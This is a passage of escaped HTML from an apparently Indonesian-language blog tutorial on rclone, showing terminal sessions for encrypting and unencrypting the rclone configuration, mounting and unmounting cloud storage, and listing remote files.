&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;will&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;protect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;login&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;information&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;services.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;) Add Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit to main menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;a/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NEW&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Confirm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NEW&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Password&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Change Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;) Unencrypt configuration&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit to main menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c/u/q&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sekarang, tidak semua orang dapat mengakses configurasi rclone kita, pun juga tidak sembarang orang dapat menggunakan rclone untuk terhubung ke cloud storage yang kita punya, karena mereka perlu meng-&lt;em&gt;input&lt;/em&gt;-kan password terlebih dahulu.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Set configuration password&quot; loading=&quot;lazy&quot; width=&quot;413&quot; height=&quot;533&quot; src=&quot;/_astro/ss11.DoGFIiLo_1P7hLJ.webp&quot; /&gt;&lt;figcaption&gt;Set configuration password&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kalau kita ingin membatalkan password konfigurasi &lt;code&gt;rclone&lt;/code&gt;-nya, juga bisa:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tinggal ikuti alur untuk menghapus password konfigurasinya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Current&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Name&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;Type&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;====&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;====&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;backblaze&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;b2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gdrive&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;koofr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mega&lt;/span&gt;&lt;span&gt;                 &lt;/span&gt;&lt;span&gt;mega&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;proton&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;protondrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit existing remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;) Rename remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Copy remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e/n/d/r/c/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Change Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;) Unencrypt configuration&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit to main menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c/u/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encrypted.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;will&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;protect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;login&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;information&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;services.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;) Add Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit to main menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;a/q&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Access&lt;a href=&quot;#access&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah konfigurasi terpasang, kita sebetulnya sudah dapat mengakses cloud storage kita via terminal, mulai dari mendaftar isi file dan folder, membuat/mengedit/menambahkan/menghapus file dan folder, dan masih banyak lagi.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Mounting&lt;a href=&quot;#mounting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara paling praktis adalah me-&lt;em&gt;mounting&lt;/em&gt; cloud storage kita terlebih dahulu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;mount_point&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat apakah sudah ter-&lt;em&gt;mounting&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;df&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Contohnya, saya akan me-&lt;em&gt;mounting&lt;/em&gt; Google Drive saya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mounting cloud storage&quot; loading=&quot;lazy&quot; width=&quot;1220&quot; height=&quot;934&quot; src=&quot;/_astro/ss9.D59NzmRF_26hN8J.webp&quot; /&gt;&lt;figcaption&gt;mounting cloud storage&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika sudah ter-&lt;em&gt;mounting&lt;/em&gt;, praktis kita sudah dapat memperlakukan cloud storage tersebut seperti folder atau direktori pada umumnya di komputer kita.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika sudah tidak perlu lagi, kita bisa meng-&lt;em&gt;unmout&lt;/em&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fusermount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;mount_point&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Listing&lt;a href=&quot;#listing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Tapi, tanpa me-&lt;em&gt;mounting&lt;/em&gt; pun, kita masih dapat melakukan beberapa operasi yang spesifik, salah satunya adalah mendaftar file atau direktori/folder (&lt;em&gt;listing&lt;/em&gt;). Berikut adalah beberapa perintahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mendaftar semua file dan direktori.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Mendaftar direktori/container/bucket saja.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lsd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lsd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Mendaftar semua file dan direktori, berikut dengan modification time, size, dan path.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lsl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lsl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Mendaftar file dan direktori dengan struktur.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tree&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara 